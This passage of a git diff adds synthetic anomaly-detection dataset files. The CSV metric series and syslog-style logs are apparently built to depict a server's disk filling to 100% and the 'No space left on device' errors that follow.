+2025-07-02T10:01:55Z,19.53,37.68,46.02,0.84,0.78 +2025-07-02T10:02:00Z,24.26,38.05,48.11,0.86,0.97 +2025-07-02T10:02:05Z,21.43,38.26,48.97,0.75,1.0 +2025-07-02T10:02:10Z,16.6,39.15,51.77,0.84,1.52 +2025-07-02T10:02:15Z,19.33,32.41,49.16,0.76,0.46 +2025-07-02T10:02:20Z,20.81,41.93,53.8,0.9,1.64 +2025-07-02T10:02:25Z,19.93,34.12,55.52,0.5,1.31 +2025-07-02T10:02:30Z,24.42,41.32,53.7,0.95,1.69 +2025-07-02T10:02:35Z,24.49,39.01,55.59,1.0,1.5 +2025-07-02T10:02:40Z,28.29,41.79,54.75,0.85,1.14 +2025-07-02T10:02:45Z,21.96,45.01,55.99,0.86,1.68 +2025-07-02T10:02:50Z,24.07,42.85,57.47,0.64,1.59 +2025-07-02T10:02:55Z,21.27,39.94,53.61,0.91,1.84 +2025-07-02T10:03:00Z,25.24,37.32,55.38,1.13,1.11 +2025-07-02T10:03:05Z,15.31,41.07,59.25,0.97,1.28 +2025-07-02T10:03:10Z,25.5,38.09,56.94,1.24,1.12 +2025-07-02T10:03:15Z,23.1,43.58,59.99,0.87,1.13 +2025-07-02T10:03:20Z,19.23,37.56,61.24,1.02,0.92 +2025-07-02T10:03:25Z,22.9,37.89,63.52,1.13,1.15 +2025-07-02T10:03:30Z,17.29,41.65,63.9,0.99,1.53 +2025-07-02T10:03:35Z,19.35,41.97,66.96,1.04,0.87 +2025-07-02T10:03:40Z,25.0,40.76,63.28,0.9,0.96 +2025-07-02T10:03:45Z,23.23,39.0,64.91,0.93,1.17 +2025-07-02T10:03:50Z,17.43,40.94,65.95,1.17,1.59 +2025-07-02T10:03:55Z,20.15,40.67,67.91,0.86,1.46 +2025-07-02T10:04:00Z,17.81,42.68,68.23,1.22,0.82 +2025-07-02T10:04:05Z,21.44,34.7,66.93,0.84,1.02 +2025-07-02T10:04:10Z,24.0,43.68,69.14,0.94,0.96 +2025-07-02T10:04:15Z,24.77,39.42,66.95,1.15,1.45 +2025-07-02T10:04:20Z,23.35,38.83,70.43,0.97,0.91 +2025-07-02T10:04:25Z,17.65,42.61,70.15,0.96,1.93 +2025-07-02T10:04:30Z,17.21,39.25,70.13,1.2,0.79 +2025-07-02T10:04:35Z,20.93,39.45,72.91,1.2,0.88 +2025-07-02T10:04:40Z,23.31,40.7,73.85,0.45,1.46 +2025-07-02T10:04:45Z,19.78,38.77,75.32,0.83,1.27 +2025-07-02T10:04:50Z,22.17,37.1,75.2,0.59,0.71 +2025-07-02T10:04:55Z,27.82,43.38,76.92,1.01,0.57 +2025-07-02T10:05:00Z,18.69,42.01,76.8,1.17,0.91 +2025-07-02T10:05:05Z,22.87,40.09,79.97,0.91,1.26 +2025-07-02T10:05:10Z,22.79,39.82,77.98,0.72,0.92 +2025-07-02T10:05:15Z,20.52,39.42,80.11,0.97,1.38 +2025-07-02T10:05:20Z,22.51,41.03,79.68,0.72,1.28 +2025-07-02T10:05:25Z,17.06,41.16,82.66,1.04,0.94 +2025-07-02T10:05:30Z,22.3,40.65,80.15,1.15,1.07 +2025-07-02T10:05:35Z,16.36,40.41,83.41,0.73,1.12 +2025-07-02T10:05:40Z,19.19,40.95,84.73,1.34,1.08 +2025-07-02T10:05:45Z,22.7,40.87,81.06,1.24,0.92 +2025-07-02T10:05:50Z,18.36,43.84,85.77,0.63,1.61 +2025-07-02T10:05:55Z,22.42,38.6,84.87,0.83,2.03 +2025-07-02T10:06:00Z,23.27,39.6,86.36,0.74,0.97 +2025-07-02T10:06:05Z,24.42,40.87,87.97,0.61,1.89 +2025-07-02T10:06:10Z,23.47,39.19,87.71,0.62,0.78 +2025-07-02T10:06:15Z,31.63,40.46,98.71,0.98,0.98 +2025-07-02T10:06:20Z,19.48,40.32,97.15,1.1,1.37 +2025-07-02T10:06:25Z,22.94,40.36,100.0,1.02,1.38 +2025-07-02T10:06:30Z,25.94,37.08,100.0,0.76,1.27 +2025-07-02T10:06:35Z,26.06,41.22,100.0,0.81,1.45 +2025-07-02T10:06:40Z,20.97,44.91,93.43,1.16,1.3 +2025-07-02T10:06:45Z,19.87,40.94,93.05,0.58,0.91 +2025-07-02T10:06:50Z,20.73,37.75,92.6,1.01,1.0 +2025-07-02T10:06:55Z,20.82,38.6,97.5,1.13,1.81 +2025-07-02T10:07:00Z,23.06,43.25,95.34,0.94,1.12 +2025-07-02T10:07:05Z,20.54,37.24,99.78,1.02,1.12 +2025-07-02T10:07:10Z,19.71,41.32,98.16,0.33,1.51 +2025-07-02T10:07:15Z,24.22,41.12,95.87,0.95,1.4 +2025-07-02T10:07:20Z,20.52,41.72,100.0,0.7,1.15 +2025-07-02T10:07:25Z,24.95,40.1,100.0,0.89,1.02 diff --git a/anom_dataset/scenario_3/anom_3_13.log b/anom_dataset/scenario_3/anom_3_13.log new file mode 100644 index 0000000000000000000000000000000000000000..122a7860e9c917adec81eb775d1dc8885866ac54 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_13.log @@ -0,0 +1,34 @@ +Jul 02 10:00:01 nginx[1158]: GET /data HTTP/1.1 200 OK +Jul 02 10:00:22 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:45 systemd[1]: Started Session 18 of user ubuntu. +Jul 02 10:01:02 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:18 sshd[11656]: Accepted publickey for ubuntu from 192.168.1.147 port 53234 ssh2 +Jul 02 10:01:32 systemd[1]: Started Session 2 of user ubuntu. +Jul 02 10:01:48 nginx[1116]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:02:12 sshd[10162]: Accepted publickey for ubuntu from 192.168.1.119 port 56581 ssh2 +Jul 02 10:02:32 nginx[1132]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:48 systemd[1]: Started Session 15 of user ubuntu. +Jul 02 10:03:03 nginx[1168]: GET /api/status HTTP/1.1 404 Not Found +Jul 02 10:03:13 CRON[11818]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:03:25 systemd[1]: Started Session 17 of user ubuntu. +Jul 02 10:03:38 CRON[11231]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:03:46 CRON[11879]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:03:56 systemd[1]: Finished Daily apt download activities. +Jul 02 10:04:11 nginx[1177]: GET /healthz HTTP/1.1 404 Not Found +Jul 02 10:04:32 kubelet[2854]: INFO routine sync completed for pod web-app-1 +Jul 02 10:04:56 nginx[1140]: GET /api/status HTTP/1.1 404 Not Found +Jul 02 10:05:14 nginx[1112]: GET /api/status HTTP/1.1 404 Not Found +Jul 02 10:06:15 systemd[1]: ERROR: failed to rotate logs: No space left on device +Jul 02 10:06:17 logrotate[8891]: PANIC: could not write to temporary file: No space left on device +Jul 02 10:06:23 kernel: CRITICAL update failed: No space left on device +Jul 02 10:06:26 kernel: ERROR: failed to rotate logs: No space left on device +Jul 02 10:06:29 app-writer[5432]: CRITICAL update failed: No space left on device +Jul 02 10:06:33 kernel: PANIC: could not write to temporary file: No space left on device +Jul 02 10:06:42 app-writer[5432]: PANIC: could not write to temporary file: No space left on device +Jul 02 10:06:49 kernel: ERROR: failed to rotate logs: No space left on device +Jul 02 10:06:57 kernel: CRITICAL update failed: No space left on device +Jul 02 10:07:03 systemd[1]: Failed to create new user session: No space left on device +Jul 02 10:07:08 systemd[1]: CRITICAL update failed: No space left on device +Jul 02 10:07:10 logrotate[8891]: CRITICAL update failed: No space left on device +Jul 02 10:07:17 kernel: PANIC: could not write to temporary file: No space left on device +Jul 02 10:07:23 systemd[1]: ERROR Failed to write to data file: [Errno 28] No space left on device diff --git a/anom_dataset/scenario_3/anom_3_14.csv b/anom_dataset/scenario_3/anom_3_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..f50b907d61e5ff4c132c8ce6bc48dffb237d51bf --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,10.14,47.92,32.17,1.11,1.04 +2025-07-03T11:00:05Z,13.18,43.55,27.81,1.49,1.06 +2025-07-03T11:00:10Z,13.25,44.3,28.4,0.69,1.45 +2025-07-03T11:00:15Z,15.57,46.18,29.8,0.7,0.6 +2025-07-03T11:00:20Z,12.85,47.47,32.58,1.46,0.92 +2025-07-03T11:00:25Z,14.7,42.18,31.73,0.87,0.7 +2025-07-03T11:00:30Z,13.03,48.44,27.49,0.93,1.13 +2025-07-03T11:00:35Z,18.63,44.59,28.8,1.32,1.49 +2025-07-03T11:00:40Z,17.43,53.15,28.41,1.09,0.78 +2025-07-03T11:00:45Z,13.5,40.31,31.66,0.81,0.88 +2025-07-03T11:00:50Z,16.11,44.66,28.08,1.08,1.08 +2025-07-03T11:00:55Z,15.51,40.44,34.88,1.38,0.72 +2025-07-03T11:01:00Z,15.87,43.56,27.29,0.98,0.54 +2025-07-03T11:01:05Z,18.13,43.56,27.85,1.23,0.57 +2025-07-03T11:01:10Z,14.88,40.96,31.72,0.58,1.18 +2025-07-03T11:01:15Z,16.98,47.71,30.49,0.55,1.31 +2025-07-03T11:01:20Z,17.38,47.87,26.75,0.91,0.77 +2025-07-03T11:01:25Z,13.97,47.0,25.81,1.47,0.64 +2025-07-03T11:01:30Z,13.31,39.9,28.09,0.64,0.87 +2025-07-03T11:01:35Z,16.75,44.59,30.37,0.76,1.11 +2025-07-03T11:01:40Z,12.42,46.48,28.13,1.13,1.3 +2025-07-03T11:01:45Z,12.88,45.71,31.2,0.95,1.15 +2025-07-03T11:01:50Z,13.59,46.49,30.51,0.79,1.46 +2025-07-03T11:01:55Z,13.35,42.21,28.3,1.22,1.37 +2025-07-03T11:02:00Z,16.5,42.66,29.12,0.86,1.37 +2025-07-03T11:02:05Z,14.62,42.91,29.45,1.38,1.44 +2025-07-03T11:02:10Z,11.4,43.98,29.18,1.35,1.43 +2025-07-03T11:02:15Z,13.22,35.9,28.12,0.52,1.15 +2025-07-03T11:02:20Z,14.21,47.31,32.74,0.75,1.35 +2025-07-03T11:02:25Z,13.62,37.94,35.53,0.54,0.56 +2025-07-03T11:02:30Z,16.61,46.58,28.46,0.78,1.43 +2025-07-03T11:02:35Z,16.66,43.81,34.59,0.54,0.51 +2025-07-03T11:02:40Z,19.2,47.15,27.21,0.58,1.31 +2025-07-03T11:02:45Z,14.98,51.01,28.52,0.9,1.47 +2025-07-03T11:02:50Z,16.38,48.42,31.12,1.46,1.01 +2025-07-03T11:02:55Z,14.51,44.92,31.19,0.57,0.94 +2025-07-03T11:03:00Z,17.16,41.78,30.48,0.6,0.98 +2025-07-03T11:03:05Z,10.54,46.28,31.65,0.83,0.61 +2025-07-03T11:03:10Z,17.33,42.71,30.69,0.82,0.77 +2025-07-03T11:03:15Z,15.73,49.29,28.1,1.0,1.4 +2025-07-03T11:03:20Z,13.15,42.07,34.02,1.4,1.21 +2025-07-03T11:03:25Z,15.6,42.47,39.6,1.23,1.32 +2025-07-03T11:03:30Z,11.86,46.98,37.69,0.68,0.84 +2025-07-03T11:03:35Z,13.23,47.37,39.26,0.63,1.2 +2025-07-03T11:03:40Z,17.0,45.92,42.76,0.6,1.1 +2025-07-03T11:03:45Z,15.82,43.79,43.74,1.46,0.57 +2025-07-03T11:03:50Z,11.95,46.13,44.06,1.14,0.83 +2025-07-03T11:03:55Z,13.77,45.8,44.96,1.49,1.48 +2025-07-03T11:04:00Z,12.21,48.22,45.67,1.01,0.79 +2025-07-03T11:04:05Z,14.63,38.64,48.86,0.67,0.63 +2025-07-03T11:04:10Z,16.34,49.42,50.43,0.52,0.62 +2025-07-03T11:04:15Z,16.85,44.3,50.53,0.69,1.24 +2025-07-03T11:04:20Z,15.9,43.59,55.37,1.1,1.04 +2025-07-03T11:04:25Z,12.1,48.14,56.96,1.33,0.56 +2025-07-03T11:04:30Z,11.81,44.1,55.51,0.98,1.17 +2025-07-03T11:04:35Z,14.29,44.34,59.24,1.24,1.44 +2025-07-03T11:04:40Z,15.87,45.84,57.92,1.29,0.91 +2025-07-03T11:04:45Z,13.52,43.52,60.27,1.15,0.68 +2025-07-03T11:04:50Z,15.11,41.52,63.69,1.35,1.26 +2025-07-03T11:04:55Z,18.88,49.05,65.05,1.22,1.47 +2025-07-03T11:05:00Z,12.79,47.41,64.76,1.49,1.39 +2025-07-03T11:05:05Z,15.58,45.1,69.19,1.06,1.35 +2025-07-03T11:05:10Z,15.52,44.79,68.23,0.96,0.85 +2025-07-03T11:05:15Z,14.02,44.3,71.57,1.31,0.87 +2025-07-03T11:05:20Z,15.34,46.23,73.32,0.95,0.89 +2025-07-03T11:05:25Z,11.71,46.39,72.84,1.26,0.54 +2025-07-03T11:05:30Z,15.2,45.78,75.55,1.37,0.82 +2025-07-03T11:05:35Z,11.24,45.49,77.14,0.57,1.14 +2025-07-03T11:05:40Z,13.13,46.14,78.22,0.7,0.75 +2025-07-03T11:05:45Z,15.47,46.05,77.74,1.47,0.71 +2025-07-03T11:05:50Z,12.57,49.61,79.41,1.33,0.92 +2025-07-03T11:05:55Z,15.28,43.32,80.9,1.05,1.03 +2025-07-03T11:06:00Z,15.85,44.51,83.59,1.3,1.07 +2025-07-03T11:06:05Z,16.61,46.04,85.63,1.37,1.27 +2025-07-03T11:06:10Z,15.98,44.03,88.71,1.12,1.11 +2025-07-03T11:06:15Z,21.42,45.56,88.89,1.12,1.17 +2025-07-03T11:06:20Z,13.32,45.39,92.95,0.98,0.85 +2025-07-03T11:06:25Z,15.63,45.43,95.45,0.87,0.5 +2025-07-03T11:06:30Z,17.63,41.5,96.05,1.09,1.26 +2025-07-03T11:06:35Z,17.71,46.46,98.65,0.76,0.97 +2025-07-03T11:06:40Z,14.31,50.89,100.0,1.02,1.09 +2025-07-03T11:06:45Z,13.58,46.13,100.0,1.31,1.06 +2025-07-03T11:06:50Z,14.15,42.3,100.0,1.14,1.33 +2025-07-03T11:06:55Z,14.21,43.32,100.0,0.63,0.65 +2025-07-03T11:07:00Z,15.71,48.9,100.0,1.42,0.68 +2025-07-03T11:07:05Z,14.03,41.69,100.0,0.52,0.64 +2025-07-03T11:07:10Z,13.48,46.58,100.0,1.22,0.93 +2025-07-03T11:07:15Z,16.48,46.35,100.0,0.72,0.6 +2025-07-03T11:07:20Z,14.01,47.07,100.0,0.84,1.46 +2025-07-03T11:07:25Z,16.96,45.12,100.0,1.24,0.7 diff --git a/anom_dataset/scenario_3/anom_3_14.log b/anom_dataset/scenario_3/anom_3_14.log new file mode 100644 index 0000000000000000000000000000000000000000..67a2ef65a0a4ebbd4c1c6ffc63c290a1755eb6c8 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_14.log @@ -0,0 +1,21 @@ +Jul 03 11:00:00 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app-40 +Jul 03 11:00:15 server-1 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:25 server-1 CRON[51284]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:00:50 server-1 sshd[4185]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 03 11:01:00 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app-26 +Jul 03 11:01:15 server-1 systemd[1]: Started Session 59 of user root. +Jul 03 11:01:20 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app-71 +Jul 03 11:01:40 server-1 CRON[51291]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:02:30 server-1 CRON[51283]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:02:40 server-1 CRON[51258]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:03:00 server-1 CRON[51289]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:03:20 server-1 sshd[4145]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 03 11:03:30 server-1 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:04:00 server-1 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:04:15 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app-70 +Jul 03 11:04:20 server-1 CRON[51292]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:05:00 server-1 sshd[4136]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 03 11:05:25 server-1 CRON[51251]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:06:40 server-1 kernel: [123.45651] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=4151 comm="sshd" +Jul 03 11:07:00 server-1 kernel: [401.112] print_req_error: I/O error, dev sda, sector 12345678 +Jul 03 11:07:20 server-1 app[8080]: ERROR: Failed to write data to /var/data/session_file.tmp: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_15.csv b/anom_dataset/scenario_3/anom_3_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..9546c07a22804c0a7f1899e1469691245e1ce844 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,25.99,40.29,22.6,0.93,1.63 +2025-07-02T11:00:05Z,24.72,42.91,27.66,0.63,0.77 +2025-07-02T11:00:10Z,26.3,37.89,19.46,0.59,1.55 +2025-07-02T11:00:15Z,28.05,39.02,22.01,0.9,1.2 +2025-07-02T11:00:20Z,24.53,38.82,23.45,0.76,0.91 +2025-07-02T11:00:25Z,24.53,35.61,17.99,0.94,1.34 +2025-07-02T11:00:30Z,28.16,40.89,21.12,0.89,1.26 +2025-07-02T11:00:35Z,26.53,40.78,20.06,0.79,1.02 +2025-07-02T11:00:40Z,24.06,40.02,20.49,0.63,1.22 +2025-07-02T11:00:45Z,26.09,39.3,16.13,0.5,1.08 +2025-07-02T11:00:50Z,24.07,35.75,20.12,0.71,1.23 +2025-07-02T11:00:55Z,24.07,38.74,22.49,0.97,1.4 +2025-07-02T11:01:00Z,25.48,38.97,27.26,0.84,1.68 +2025-07-02T11:01:05Z,21.17,37.59,24.8,0.55,0.83 +2025-07-02T11:01:10Z,21.55,39.52,30.0,0.83,1.84 +2025-07-02T11:01:15Z,23.88,41.21,16.16,0.88,0.61 +2025-07-02T11:01:20Z,22.97,45.66,24.36,0.62,1.15 +2025-07-02T11:01:25Z,25.63,40.52,20.92,0.83,1.38 +2025-07-02T11:01:30Z,23.18,40.77,30.0,0.81,1.28 +2025-07-02T11:01:35Z,22.18,39.78,15.96,0.57,1.01 +2025-07-02T11:01:40Z,27.93,34.24,15.86,0.87,1.14 +2025-07-02T11:01:45Z,24.55,39.92,18.73,0.91,1.05 +2025-07-02T11:01:50Z,25.14,40.18,17.16,1.02,1.02 +2025-07-02T11:01:55Z,22.15,47.39,20.73,1.01,1.45 +2025-07-02T11:02:00Z,23.91,39.42,20.52,0.52,1.31 +2025-07-02T11:02:05Z,25.22,40.9,21.47,0.61,0.99 +2025-07-02T11:02:10Z,22.7,39.9,23.84,0.9,1.47 +2025-07-02T11:02:15Z,25.75,36.49,23.78,0.9,1.29 +2025-07-02T11:02:20Z,23.8,43.43,25.85,0.9,1.44 +2025-07-02T11:02:25Z,24.42,42.26,26.22,1.57,1.39 +2025-07-02T11:02:30Z,23.8,42.37,32.3,0.91,0.95 +2025-07-02T11:02:35Z,28.7,37.27,30.75,1.03,1.03 +2025-07-02T11:02:40Z,24.97,44.21,30.99,0.99,1.42 +2025-07-02T11:02:45Z,22.88,35.79,33.7,0.93,1.38 +2025-07-02T11:02:50Z,26.65,41.76,34.55,0.74,1.19 +2025-07-02T11:02:55Z,22.56,46.57,35.72,0.95,1.24 +2025-07-02T11:03:00Z,25.42,37.03,38.31,0.65,1.58 +2025-07-02T11:03:05Z,21.08,38.3,39.87,0.75,1.02 +2025-07-02T11:03:10Z,22.34,40.3,39.28,0.7,1.36 +2025-07-02T11:03:15Z,25.39,38.49,40.55,0.82,1.14 +2025-07-02T11:03:20Z,26.48,35.35,42.34,1.26,1.13 +2025-07-02T11:03:25Z,25.34,40.21,40.64,0.43,1.53 +2025-07-02T11:03:30Z,24.77,36.81,43.16,0.94,1.45 +2025-07-02T11:03:35Z,24.4,41.42,48.82,0.48,1.44 +2025-07-02T11:03:40Z,22.04,37.24,50.58,0.71,1.59 +2025-07-02T11:03:45Z,23.56,44.65,49.08,1.02,1.21 +2025-07-02T11:03:50Z,24.08,37.65,51.66,0.81,1.4 +2025-07-02T11:03:55Z,27.11,39.03,52.6,0.58,1.11 +2025-07-02T11:04:00Z,25.69,42.44,58.09,0.66,1.3 +2025-07-02T11:04:05Z,21.47,36.31,56.49,0.94,1.16 +2025-07-02T11:04:10Z,25.65,40.68,55.96,0.65,1.23 +2025-07-02T11:04:15Z,24.23,43.92,56.06,0.84,1.38 +2025-07-02T11:04:20Z,23.65,35.18,56.42,0.81,0.95 +2025-07-02T11:04:25Z,26.22,40.55,60.47,0.67,1.83 +2025-07-02T11:04:30Z,27.06,40.78,60.37,1.23,0.9 +2025-07-02T11:04:35Z,26.86,42.35,60.71,0.93,0.84 +2025-07-02T11:04:40Z,23.32,36.29,63.22,0.39,1.55 +2025-07-02T11:04:45Z,24.38,36.04,63.9,0.84,1.44 +2025-07-02T11:04:50Z,25.66,41.57,69.4,0.67,1.39 +2025-07-02T11:04:55Z,26.95,40.89,69.53,0.97,1.39 +2025-07-02T11:05:00Z,24.04,40.75,69.53,0.64,1.2 +2025-07-02T11:05:05Z,24.63,41.04,73.11,0.78,0.93 +2025-07-02T11:05:10Z,22.79,37.96,72.34,0.9,1.22 +2025-07-02T11:05:15Z,22.61,40.7,72.27,0.97,1.0 +2025-07-02T11:05:20Z,26.63,40.88,77.19,0.56,1.49 +2025-07-02T11:05:25Z,27.71,37.86,77.05,0.73,1.16 +2025-07-02T11:05:30Z,24.86,45.6,76.03,0.71,0.95 +2025-07-02T11:05:35Z,27.01,41.42,78.64,0.67,1.1 +2025-07-02T11:05:40Z,25.72,36.43,78.95,1.15,1.32 +2025-07-02T11:05:45Z,23.71,41.97,79.53,0.88,1.03 +2025-07-02T11:05:50Z,25.72,37.08,84.33,0.55,0.95 +2025-07-02T11:05:55Z,28.08,42.36,87.15,0.98,1.27 +2025-07-02T11:06:00Z,24.93,43.48,83.52,1.22,1.27 +2025-07-02T11:06:05Z,28.13,37.54,87.81,1.01,1.05 +2025-07-02T11:06:10Z,19.76,42.89,87.33,0.5,1.06 +2025-07-02T11:06:15Z,26.64,41.24,90.91,0.7,1.27 +2025-07-02T11:06:20Z,25.17,42.47,94.09,1.05,0.77 +2025-07-02T11:06:25Z,24.4,45.69,97.02,0.66,0.78 +2025-07-02T11:06:30Z,25.18,39.26,100.0,0.89,0.98 +2025-07-02T11:06:35Z,21.02,37.74,100.0,0.95,1.14 +2025-07-02T11:06:40Z,24.56,37.33,100.0,0.61,1.29 +2025-07-02T11:06:45Z,25.71,37.55,100.0,0.79,1.64 +2025-07-02T11:06:50Z,27.96,39.77,100.0,0.15,1.46 +2025-07-02T11:06:55Z,23.96,41.02,100.0,0.6,1.15 +2025-07-02T11:07:00Z,23.38,40.83,100.0,0.75,1.19 +2025-07-02T11:07:05Z,24.0,42.48,100.0,0.55,0.9 +2025-07-02T11:07:10Z,26.83,40.04,100.0,1.13,1.19 +2025-07-02T11:07:15Z,25.66,44.36,100.0,0.51,1.11 +2025-07-02T11:07:20Z,23.94,39.21,100.0,0.71,1.3 +2025-07-02T11:07:25Z,26.03,48.16,100.0,0.83,0.95 diff --git a/anom_dataset/scenario_3/anom_3_15.log b/anom_dataset/scenario_3/anom_3_15.log new file mode 100644 index 0000000000000000000000000000000000000000..eb01cba8c5d1ab732f814339166543dedfed9d8e --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_15.log @@ -0,0 +1,42 @@ +Jul 02 11:00:00 production-server db-backup.sh[20787]: Starting database backup for 'production_db'... +Jul 02 11:00:09 production-server systemd[1]: Starting Clean php session files... +Jul 02 11:00:15 production-server kubelet[2345]: INFO routine sync completed for pod web-app-secondary +Jul 02 11:00:34 production-server db-backup.sh[23234]: Starting database backup for 'production_db'... +Jul 02 11:00:44 production-server db-backup.sh[16316]: Starting database backup for 'production_db'... +Jul 02 11:01:07 production-server systemd[1]: Starting Clean php session files... +Jul 02 11:01:15 production-server sshd[14208]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:01:39 production-server sshd[22607]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:01:57 production-server nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:12 production-server sshd[22977]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:02:22 production-server nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:36 production-server db-backup.sh[11619]: Starting database backup for 'production_db'... +Jul 02 11:02:42 production-server nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:55 production-server db-backup.sh[20230]: Starting database backup for 'production_db'... +Jul 02 11:03:05 production-server sshd[24653]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:03:14 production-server nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:03:29 production-server CRON[12560]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:03:36 production-server systemd[1]: Starting Clean php session files... +Jul 02 11:03:48 production-server CRON[24340]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:03:57 production-server auditd[1]: User login succeeded for user monitoring (uid=1001) +Jul 02 11:04:05 production-server systemd[1]: Started Session 48 for user admin. +Jul 02 11:04:17 production-server db-backup.sh[16943]: Starting database backup for 'production_db'... +Jul 02 11:04:35 production-server sshd[19184]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:04:54 production-server sshd[21246]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:04:59 production-server nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:05:11 production-server CRON[15765]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:05:21 production-server systemd[1]: Finished Clean php session files. +Jul 02 11:05:44 production-server sshd[18669]: Accepted publickey for user admin from 10.0.1.5 port 22 ssh2 +Jul 02 11:06:08 production-server log-rotator[8910]: CRITICAL Failed to rotate logs for /var/log/nginx/access.log. Error: No space left on device +Jul 02 11:06:10 production-server app-server[4567]: ERROR Failed to write session file: /var/lib/app/sessions/sess_xyz. IO error: No space left on device +Jul 02 11:06:12 production-server log-rotator[8910]: CRITICAL Failed to rotate logs for /var/log/nginx/access.log. Error: No space left on device +Jul 02 11:06:15 production-server kubelet[2345]: INFO routine sync completed for pod web-app-secondary +Jul 02 11:06:32 production-server log-rotator[8910]: CRITICAL Failed to rotate logs for /var/log/nginx/access.log. Error: No space left on device +Jul 02 11:06:33 production-server postgres[5432]: PANIC: could not write to log file: No space left on device +Jul 02 11:06:36 production-server systemd-journald[312]: Failed to write entry, ignoring: No space left on device +Jul 02 11:06:39 production-server auditd[1]: User login succeeded for user monitoring (uid=1001) +Jul 02 11:06:51 production-server node-problem-detector[2222]: Filesystem has only 1% available space on /dev/sda1 +Jul 02 11:06:53 production-server rsyslogd[1111]: action 'action-9-omfile' suspended (module 'builtin:omfile'), retry 0. There is no space left on the device. [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 02 11:06:55 production-server kubelet[2345]: INFO routine sync completed for pod web-app-secondary +Jul 02 11:07:15 production-server node-problem-detector[2222]: Filesystem has only 1% available space on /dev/sda1 +Jul 02 11:07:17 production-server app-server[4567]: ERROR Failed to write session file: /var/lib/app/sessions/sess_xyz. IO error: No space left on device +Jul 02 11:07:19 production-server db-backup.sh[23718]: Database backup 'production_db' completed successfully. diff --git a/anom_dataset/scenario_3/anom_3_16.csv b/anom_dataset/scenario_3/anom_3_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..68931c5e2406961564426eaf854d215687e8c486 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.82,42.71,23.0,0.68,1.27 +2025-07-02T12:00:05Z,17.33,46.31,23.62,1.05,1.62 +2025-07-02T12:00:10Z,20.52,41.9,24.97,1.15,1.06 +2025-07-02T12:00:15Z,18.06,42.67,21.68,0.53,1.65 +2025-07-02T12:00:20Z,23.36,46.36,24.71,0.62,1.07 +2025-07-02T12:00:25Z,19.9,44.37,30.2,0.93,1.55 +2025-07-02T12:00:30Z,20.77,44.99,29.5,0.57,1.4 +2025-07-02T12:00:35Z,20.18,42.89,25.26,1.1,1.9 +2025-07-02T12:00:40Z,17.19,46.31,28.73,0.92,1.97 +2025-07-02T12:00:45Z,20.21,45.0,27.32,0.95,1.03 +2025-07-02T12:00:50Z,22.46,44.26,24.5,1.15,1.2 +2025-07-02T12:00:55Z,23.19,47.8,30.82,0.64,0.93 +2025-07-02T12:01:00Z,18.56,51.08,21.87,1.4,0.98 +2025-07-02T12:01:05Z,17.25,45.89,24.74,0.68,1.57 +2025-07-02T12:01:10Z,18.27,43.29,25.07,1.37,1.81 +2025-07-02T12:01:15Z,22.44,42.68,27.96,0.55,1.63 